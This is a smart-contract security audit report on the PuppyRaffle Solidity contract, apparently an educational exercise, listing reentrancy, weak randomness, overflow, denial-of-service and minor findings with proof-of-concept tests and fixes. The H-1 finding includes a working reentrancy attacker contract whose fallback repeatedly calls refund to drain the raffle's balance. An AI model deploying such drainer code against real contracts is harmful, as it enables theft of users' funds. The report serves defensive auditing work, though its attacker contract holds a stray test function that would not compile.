Puppy Raffle Security Review

Version 1.0

kelbels.dev

February 4, 2025

Puppy Raffle Security Review

Kelbels

04 February 2025

Prepared by: Kelbels Lead Auditors: - Kelbels

Table of Contents

  * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamenting gas costs for future entrants.
  * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  * [M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing players at index 0 to indirectly think they have not entered the raffle.
- Informational
  * [I-1] Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of Solidity is not recommended
  * [I-3] Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
  * [I-5] Use of "magic" numbers is discouraged
  * [I-6] State changes are missing events
  * [I-7] `PuppyRaffle::isActivePlayer` is never used and should be removed
- Gas
  * [G-1] Unchange state variables should be declared constant or immutable
  * [G-2] Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Disclaimer

I, Kelbels, make all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond with the following commit hash:

```
0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

Audit writing went very well. One week was spend doing manual review and using static analysis tools.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
        function refund(uint256 playerIndex) public {
                address playerAddress = players[playerIndex];
                require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
                require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>              payable(msg.sender).sendValue(entranceFee);
@>              players[playerIndex] = address(0);

                emit RaffleRefunded(playerAddress);
        }
```

A player who has entered the raffle could have a `fallback`/`receieve` function that calls the `PuppyRaffle::refund` again and claim another refund, can continue cycle until contract is drained.

Impact: All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract draining the contract balance

Test Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker Contract Balance: ", startingAttackContractBalance);
        console.log("Puppy Raffle Balance: ", startingContractBalance);

        console.log("Attacker Contract Balance After: ", address(attackerContract).balance);
        console.log("Puppy Raffle Balance After: ", address(puppyRaffle).balance);
    }
```

And this contract as well.

```
    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function testCanEnterRaffle() public {
        address[] memory players = new address[](1);
        players[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        assertEq(puppyRaffle.players(0), playerOne);
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
            address playerAddress = players[playerIndex];
            require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
            require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

+           players[playerIndex] = address(0);
+           emit RaffleRefunded(playerAddress);
            payable(msg.sender).sendValue(entranceFee);
-           players[playerIndex] = address(0);
-           emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy NFT

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictible final number. A predictable number is not a random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the blog post on prevrandao. `block.difficulty` was recently replaced with prevandao.
2. Users can manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well known attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1;
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner` `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving the fees permanently stuck in the contract. (withdraw require would be done in a separate write up in competitive audits)

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will overflow
4. you will not be able to withdraw, due to the require in `PuppyRaffle::withdrawFees` as `totalFees` will not match the `address(this).balance`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Place the following test into `PuppyRaffleTest.t.sol`.

Test Code

```
    function test_TotalFeesOverflow() public playersEntered {
        // finish raffle of 4 to collect fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 8e18

        // have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        // end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // here is where issue arises - there are feweer fees even though second raffle is complete
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("Starting Total Fees: ", startingTotalFees);
        console.log("Ending Total Fees: ", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // also cannot withdraw fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations:

1. Use a newer version of Solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library from OpenZeppelin for version `0.7.6` of Solidity , however you would still have a hard time with the `uint64` if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

There are more attack vectors with that final require so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamenting gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the players array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas cost for players who enter when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Impact: Gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: The below test case shows how gas is significantly more expensive for those who join the raffle later.

If we have two sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

Place the following test into `PuppyRaffleTest.t.sol`.

Test Code

```
function test_denial_of_service() public {
        // Set the gas price to 1
        vm.txGasPrice(1);

        // Enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
            // this is creating 100 players with 100 addresses
        }

        // see how much gas it costs
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for first 100 players: ", gasUsedFirst);

        // 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        // see how much gas it costs
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        console.log("Gas used for first 100 players: ", gasUsedSecond);

        // assert suspected results
        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recommentations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet

address.

2. Consider using a mapping to check for duplicates. This would allow a constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
```

(add more code for all the changes this mapping would need)

3. Alternatively, you could use OpenZeppelin's `EnumerableSet` library. (link it)

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing players at index 0 to indirectly think they have not entered the raffle.

Description: If a player is in `PuppyRaffle::players` array at index 0, this will return 0, but according to the NatSpec, it will also return 0 if the player is not in the array.

```
      /// @return the index of the player in the array, if they are not active, it returns 0
     function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A players at index 0 may indirectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using specific version of Solidity in your contracts instead of wide version.

- Found in src/PupptRaffle.sol

[I-2] Using an outdated version of Solidity is not recommended

Consider using 0.8.18. Please see Slither documentation for more information.

- Found in src/PupptRaffle.sol

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI.

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::isActivePlayer` is never used and should be removed

Gas

[G-1] Unchange state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from constant or immutable

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient

```
+    uint256 playersLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playersLength - 1; i++) {
-        for (uint256 j = i + 1; j < players.length; j++) {
+        for (uint256 j = i + 1; j < playersLength; j++) {
           require(players[i] != players[j], "PuppyRaffle: Duplicate player");
       }
   }
```